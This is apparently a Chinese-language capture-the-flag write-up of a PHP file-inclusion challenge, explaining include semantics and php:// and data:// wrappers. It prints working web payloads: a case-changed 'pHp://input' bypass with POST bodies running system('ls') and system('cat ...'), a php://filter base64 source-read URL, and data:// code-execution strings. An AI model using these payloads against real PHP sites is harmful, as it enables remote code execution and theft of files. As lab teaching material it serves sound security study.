进入对应场景后可以看到源代码:
<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
include($page);
?>
其中有三个要点:
<?php
//1 一个看似有语义的字符串
"php://"
//2 include语句
include($page);
//3 字符串的查询和替换
while (strstr($page, "php://")) {
$page=str_replace("php://", "", $page);
}
?>
include语句是语法关键字,并不是一个函数。
include语句执行时,会读取并运行指定的文件。被包含文件中的变量作用域会扩大到调用文件中,类似于C的include语句。
如果对应的文件并不符合php语法,则会直接打印文件内容。
include("filename.php");
include "filename.txt";
//include_once保证文件只包含一次,避免重复执行带来的问题。
include_once("filename.html");
include_once "filename.html";
可以通过返回值方式跨文件传递数据。
//1.php
<?php
return "1.php";
?>
//index.php
<?php
$a = include("1.php");//$a = "1.php";
//如果被包含文件没有return语句,则执行成功返回1,执行失败返回false
?>
以上描述同样适用于require语句,主要的区别在于,include语句在执行出错时抛出一个警告并继续执行,require语句会报错并终止。
此处的重点是include会执行响应的代码文件。
如果此处的文件名是从用户输入数据中获取,而代码中又缺乏对输入数据的审查和过滤,就有可能包含远程文件执行漏洞。
# php.ini
allow_url_fopen = ON
# 当设置为ON时,PHP允许打开各种协议的URL所指向的文件,包括http、ftp和PHP定义的其他伪协议。
allow_url_include = OFF
# 当设置为On时,PHP允许将URL作为include和require的对象。
# PHP5.2开始默认为OFF,之前默认为ON
php的IO流协议。
php://input
用于读取POST表单内容,会以文件形式将请求体的数据传入。
enctype="multipart/form-data"
时该协议无效。
/*http请求头
POST /?file=php://input HTTP/1.1
Host: 61.147.171.105:52416
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.134 Safari/537.36 Edg/103.0.1264.77
Connection: close
Content-Length: 21
<?php system('ls');?>
*/
//php源代码
<?php
include($_GET['file'];);
?>
php://filter
用于读取本地文件,并附上一定的文本过滤器来操作文件数据。
主要目的是避免原本文件中的特殊内容对代码造成影响。
文本过滤器和具体用法详见
一个简单例子:当需要打印php文件内容时,直接include会运行代码而不是打印,此时可以用filter的base64编码来进行打印。
//http://example.com/?file=php://filter/read=convert.base64-encode/resource=flag.php
<?php
$file = $_GET['file']
include($file) //此处就会打印flag.php的base64编码,解码即可
?>
其他php://
伪协议
php://stdin
, php://stdout
, php://stderr
:标准输入输出。
php://output
:只写的数据流,将数据写到PHP输出缓冲区。
php://fd
:直接访问对应的文件描述符。
php://memory
, php://temp
:临时文件读写流,前者只存在内存中,后者在达到一定数据量后写入临时文件。
file:///etc/password
:访问本地文件系统。
http://www.baidu.com
:访问 HTTP(s) 网址。
ftp://1.2.3.4
:访问 FTP(s) URLs。
data://
协议:
data://text/plain,<?php%20phpinfo();?> //按明文读取
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b //先base64解码再读取
其他略。
protocol://hostname:port/filepath
PHP伪协议的大小写情况同此理。
61.147.171.105:56860/?page=pHp://input
在URL中用大小写绕过字符串检查<?php system('ls')?>
,获取文件列表,发现目录下存在文件fl4gisisish3r3.php
<?php system('cat fl4gisisish3r3.php')?>
,获取对应flag文件内容
评论区